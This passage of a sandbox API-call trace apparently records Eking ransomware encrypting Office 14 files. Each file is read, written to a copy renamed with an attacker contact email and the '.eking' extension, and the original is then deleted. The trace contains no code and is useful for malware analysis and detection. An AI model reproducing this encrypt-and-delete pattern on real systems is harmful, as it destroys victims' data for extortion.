SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.599] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0276.599] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x1a5b, lpOverlapped=0x0) returned 1 [0276.602] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x1a60, lpOverlapped=0x0) returned 1 [0276.603] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.603] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.604] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.604] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1a5b, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x1a5b, lpOverlapped=0x0) returned 1 [0276.604] FlushFileBuffers (hFile=0xc0) returned 1 [0276.607] FlushFileBuffers (hFile=0x178) returned 1 [0276.609] CloseHandle (hObject=0xc0) returned 1 [0276.609] CloseHandle (hObject=0x178) returned 1 [0276.610] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 1 [0276.611] SetEvent (hEvent=0xe0) returned 1 [0276.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.611] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=24976) returned 1 [0276.612] CloseHandle (hObject=0x178) returned 1 [0276.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0276.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0276.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.612] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.612] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0276.613] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x6190, lpOverlapped=0x0) returned 1 [0276.616] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x61a0, lpOverlapped=0x0) returned 1 [0276.617] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.617] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.617] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.617] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x6190, lpOverlapped=0x0) returned 1 [0276.618] FlushFileBuffers (hFile=0x178) returned 1 [0276.695] FlushFileBuffers (hFile=0xc0) returned 1 [0276.697] CloseHandle (hObject=0x178) returned 1 [0276.698] CloseHandle (hObject=0xc0) returned 1 [0276.698] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 1 [0276.700] SetEvent (hEvent=0xe0) returned 1 [0276.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.701] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=232840) returned 1 [0276.701] CloseHandle (hObject=0xc0) returned 1 [0276.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0276.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0276.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.702] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.702] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0276.702] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x38d88, lpOverlapped=0x0) returned 1 [0276.709] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x38d90, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x38d90, lpOverlapped=0x0) returned 1 [0276.714] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.714] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.714] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.714] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x38d88, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x38d88, lpOverlapped=0x0) returned 1 [0276.715] FlushFileBuffers (hFile=0xc0) returned 1 [0276.721] FlushFileBuffers (hFile=0x178) returned 1 [0276.725] CloseHandle (hObject=0xc0) returned 1 [0276.725] CloseHandle (hObject=0x178) returned 1 [0276.726] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 1 [0276.729] SetEvent (hEvent=0xe0) returned 1 [0276.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.730] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=30056) returned 1 [0276.730] CloseHandle (hObject=0x178) returned 1 [0276.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0276.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0276.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.730] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.731] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0276.731] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x7568, lpOverlapped=0x0) returned 1 [0276.738] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x7570, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x7570, lpOverlapped=0x0) returned 1 [0276.740] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.740] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.741] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.741] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x7568, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x7568, lpOverlapped=0x0) returned 1 [0276.741] FlushFileBuffers (hFile=0x178) returned 1 [0276.746] FlushFileBuffers (hFile=0xc0) returned 1 [0276.748] CloseHandle (hObject=0x178) returned 1 [0276.748] CloseHandle (hObject=0xc0) returned 1 [0276.749] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 1 [0276.751] SetEvent (hEvent=0xe0) returned 1 [0276.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.753] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1349) returned 1 [0276.753] CloseHandle (hObject=0xc0) returned 1 [0276.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0276.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0276.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.753] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.754] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0276.754] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x545, lpOverlapped=0x0) returned 1 [0276.761] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x550, lpOverlapped=0x0) returned 1 [0276.762] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.762] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.763] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.763] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x545, lpOverlapped=0x0) returned 1 [0276.763] FlushFileBuffers (hFile=0xc0) returned 1 [0276.767] FlushFileBuffers (hFile=0x178) returned 1 [0276.769] CloseHandle (hObject=0xc0) returned 1 [0276.770] CloseHandle (hObject=0x178) returned 1 [0276.770] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0276.772] SetEvent (hEvent=0xe0) returned 1 [0276.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.773] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=819) returned 1 [0276.773] CloseHandle (hObject=0x178) returned 1 [0276.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0276.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0276.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.774] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.774] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0276.775] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x333, lpOverlapped=0x0) returned 1 [0276.778] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x340, lpOverlapped=0x0) returned 1 [0276.780] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x102, lpOverlapped=0x0) returned 1 [0276.780] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.780] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.780] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x333, lpOverlapped=0x0) returned 1 [0276.780] FlushFileBuffers (hFile=0x178) returned 1 [0276.784] FlushFileBuffers (hFile=0xc0) returned 1 [0276.786] CloseHandle (hObject=0x178) returned 1 [0276.786] CloseHandle (hObject=0xc0) returned 1 [0276.787] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0276.789] SetEvent (hEvent=0xe0) returned 1 [0276.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.790] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2624) returned 1 [0276.790] CloseHandle (hObject=0xc0) returned 1 [0276.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0276.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0276.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 